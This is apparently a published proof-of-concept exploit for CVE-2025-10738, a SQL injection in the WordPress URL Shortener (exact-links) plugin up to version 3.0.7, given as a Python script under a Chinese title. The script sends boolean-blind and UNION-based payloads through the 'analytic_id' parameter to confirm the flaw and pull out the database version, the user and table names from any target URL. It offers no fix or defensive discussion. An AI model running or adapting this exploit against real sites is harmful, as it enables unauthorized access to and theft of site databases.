CVE-2025-10738 WordPress URL Shortener Plugin SQL注入漏洞

import requests import sys # CVE-2025-10738 SQL Injection PoC # Target: WordPress URL Shortener Plugin (exact-links) <= 3.0.7 # Vulnerability: SQL Injection via 'analytic_id' parameter def exploit_sql_injection(target_url, payload): """Send malicious SQL injection payload""" # Construct the vulnerable endpoint # Typical vulnerable URL pattern for exact-links plugin vuln_url = f"{target_url}/?ajax=1&action=link_analytics" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded', } # SQL Injection payload via analytic_id parameter data = { 'analytic_id': payload # Malicious SQL payload injected here } try: response = requests.post(vuln_url, data=data, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Request failed: {str(e)}" def extract_database_info(target_url): """Extract database version and current user""" # Payload to extract MySQL version version_payload = "1' UNION SELECT @@version,2,3,4,5-- -" print(f"[*] Extracting database version...") result = exploit_sql_injection(target_url, version_payload) print(f"[+] Database version: {result}") # Payload to extract current user user_payload = "1' UNION SELECT user(),2,3,4,5-- -" print(f"[*] Extracting current database user...") result = exploit_sql_injection(target_url, user_payload) print(f"[+] Database user: {result}") def extract_tables(target_url): """Extract database table names""" # Payload to extract table names from information_schema tables_payload = "1' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -" print(f"[*] Extracting database tables...") result = exploit_sql_injection(target_url, tables_payload) print(f"[+] Tables: {result}") def blind_injection(target_url): """Boolean-based blind SQL injection""" # True condition - should return normal response true_payload = "1' AND 1=1-- -" # False condition - should return different response false_payload = "1' AND 1=2-- -" print(f"[*] Testing blind SQL injection...") true_resp = exploit_sql_injection(target_url, true_payload) false_resp = exploit_sql_injection(target_url, false_payload) if true_resp != false_resp: print("[+] Blind SQL injection confirmed!") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-10738 SQL Injection PoC") print("=" * 50) # Confirm vulnerability exists if blind_injection(target): print("[!] Vulnerability confirmed, proceeding with data extraction...") extract_database_info(target) extract_tables(target) else: print("[-] Could not confirm vulnerability")